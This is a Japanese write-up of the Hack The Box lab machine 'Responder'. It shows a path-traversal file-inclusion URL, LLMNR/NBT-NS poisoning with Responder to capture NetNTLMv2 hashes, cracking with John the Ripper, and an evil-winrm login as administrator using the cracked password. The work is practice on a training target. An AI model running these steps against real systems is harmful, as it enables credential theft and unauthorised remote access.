【Responder】HTB WriteUp的な

## 早速本題に入りますか・・・
 :::note info
windowsは市場の85%程度の市場シェアを有している。
:::

:::note info
既知の脆弱性があるのにも関わらずNTLMはレガシークラアントやサーバーとの互換性維持のため、新規システムでも広く採用されている。しかし、最近ではKerberos認証が使われている。
:::

どうやら本演習では、Windowsマシン上で稼働するwebページにファイルインクルード脆弱性があった。その脆弱性にどうやって攻撃するかを学ぶ。

**大まかな流れ**
Responderを使ってNetNTLMv2ハッシュをキャプチャする。
↓
John the Ripperでパスワード候補をブルートフォース（同時にハッシュと照合する、レインボーテーブル攻撃的な）
↓
照合し該当のパスワードが存在した場合乗っ取りに成功。

## 偵察

```
┌──(root㉿kali)-[~]
└─# nmap -p- --min-rate=1000 -sV 10.129.159.68 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 09:28 JST
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 30.92% done; ETC: 09:30 (0:01:32 remaining)
Nmap scan report for 10.129.159.68
Host is up (0.17s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp open  pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 184.60 seconds
                                                               
```
この事から対象マシンはWindowsを使っていて、ポート80番でApacheのwebサーバー、ポート5985でWinRMを使っている事がわかる。また、7680番ではpandoというファイル転送ソフトを使っているが多分ここでは関係ない。

:::note info
WinRMとは、windows remote managementの略である。Microsoftが提供するネイティブのリモート管理プロトコルである。SOAPを使ってやり取りする。

ペンテストにおいては、リモート管理権限を持つユーザーの認証情報を入手できればPowerShellを乗っ取る可能性がある。
:::

## Webサイト探索

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3575047/c4537511-7c1f-4f8c-b246-d778eb17f92e.png)

マシンのIPアドレスを直打ちし、Webサイトを訪問してみると・・・・
ページが見つからないと言われてしまった。

IPアドレスは合っているはず...。1つのIPアドレスに複数のドメインが紐づけられている。
名前ベースのバーチャルホストといえるのかな？？？

https://qiita.com/ettottooo/items/70d8089277e6f9f2ffcc

つまり、宛先のIPアドレスにマッピングされているドメインを全てlinux側に読み込ませたい。

**`etc/hosts`についての解説記事**

https://wa3.i-3-i.info/word11760.html

このファイルに宛先のIPアドレスに紐づけられているドメインを全て書き込めば辿り付けるのではないか...?

**そうと決まればやってみる**

```
echo "10.129.242.43 unika.htb" | sudo tee -a /etc/hosts
```
:::note info
-a　はappendオプションであり、追記を意味している。
これがないと上書きしてしまう。

`tee`コマンドは標準入力から受け取ったデータを標準出力にも表示し、同時にファイルにも操作をしている。
:::

これでホスト名とIPアドレスの対応を書くことで、ローカルの名前解決設定（`/etc/hosts`）にエントリを追加する。


https://www.shadan-kun.com/blog/measure/2582/

https://www.sompocybersecurity.com/column/glossary/rfi

>Webアプリケーションセキュリティ団体OWASPは、ファイルインクルードの仕組みを多用するWebアプリケーション言語であるPHPが、リモート・ファイル・インクルード に対して特に脆弱であると指摘しています。

## ファイルインクルード脆弱性
**phpの`include()メソッドとは何？`**
外部ファイル化できる

```
File 1 --> vars.php

<?php

$color="green";
$fruit="apple";
?>

#########################

File 2 --> test.php
<?php

echo "A $color $fruit";// output="A"

include "vars.php";

echo "A $color $fruit"; //output="A green apple"
```



```
http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
```
これでwindowsの`hosts`ファイルの内容を取得でき、ファイルインクルージョンが可能であると確認できる。
これは、phpの`include()`関数に渡された`page`パラメータの検証が行われていない。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3575047/bd556027-5805-452c-8190-03f312a01113.png)

ここにローカル環境におけるipアドレスとドメインの対応関係が記述されている。

### Responder Challenge Capture
**そもそも`Responder`ってなんだよという話になる。**
このツール自体Windowsネットワーク上のLLMNR/NBT-NS プロトコルを悪用する Responder ツールを用いて NTLMv2 認証ハッシュをキャプチャする。

・LLMNR:DNSサーバーが名前解決に失敗したときにローカルネットワーク内で名前解決を行うプロトコル。

・NBT-NS:NetBIOS名を用いたホスト識別のためのプロトコルで、Windows環境で広く使われている。

**偽造応答の仕組み**
・クライアントがネットワークリソース名の解決要求をブロードキャストする。

・Responderはそれをキャプチャし、「私がそのリソースですよ！」と応答。

・クライアントは認証（Net-NTLMv2）を行い、そのハッシュをResponderに送信。

・Responderはハッシュを保存し、クライアントには「ホスト不在」のエラーを返す。

そうすることで被害者は「あれ？これって認証いらんのか」となる。


https://www.prosec-networks.com/en/blog/llmnr-poisoning/

https://attack.mitre.org/techniques/T1557/001/

```
                                                                                                                                                                                                                                                                     
┌──(root㉿kali)-[~/Responder]
└─# python3 Responder.py -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

[*] Sponsor Responder: https://paypal.me/PythonResponder

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.33]
    Responder IPv6             [dead:beef:2::101f]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-NF8YDIWMSJJ]
    Responder Domain Name      [1LMT.LOCAL]
    Responder DCE-RPC Port     [45542]

[*] Version: Responder 3.1.6.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[+] Listening for events...                

```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3575047/c23c7c16-b811-4e86-b6fc-38e4887eed32.png)

長くなるので省略するが、ここからイベントからハッシュ値を読み出した....。

ここからはハッシュクラッキングをする。

**ここから`john the ripper`を使う。**

https://zenn.dev/sanflat/articles/23d9eaa365ba87

```
john -w=/usr/share/wordlists/rockyou.txt hash.txt
```

ここから
```
パスワードはbadmintonとわかる。
```

### 最後に`Evil-WinRM`を使う。
なぜならwinRMにリクエストを送信するためだ。

```
evil-winrm -i <targetIP> -u administrator -p badminton
```

あとはファイルを探索するだけ

https://wa3.i-3-i.info/word11891.html


## 参考文献（参照日2025年6月9日）

・公式Writeup

https://e-words.jp/w/Kerberos.html#:~:text=%E6%A6%82%E8%A6%81,%E3%81%A8%E3%81%97%E3%81%A6%E6%99%AE%E5%8F%8A%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B%E3%80%82

https://www.sompocybersecurity.com/column/glossary/ntlm#:~:text=NTLM%EF%BC%88New%20Technology%20LAN%20Manager,%E3%81%AB%E7%BD%AE%E3%81%8D%E6%8F%9B%E3%81%88%E3%82%89%E3%82%8C%E3%81%A6%E3%81%84%E3%81%BE%E3%81%99%E3%80%82

https://www.ariel-networks.com/blogs/tokuriki/cat36/cat133/pando.html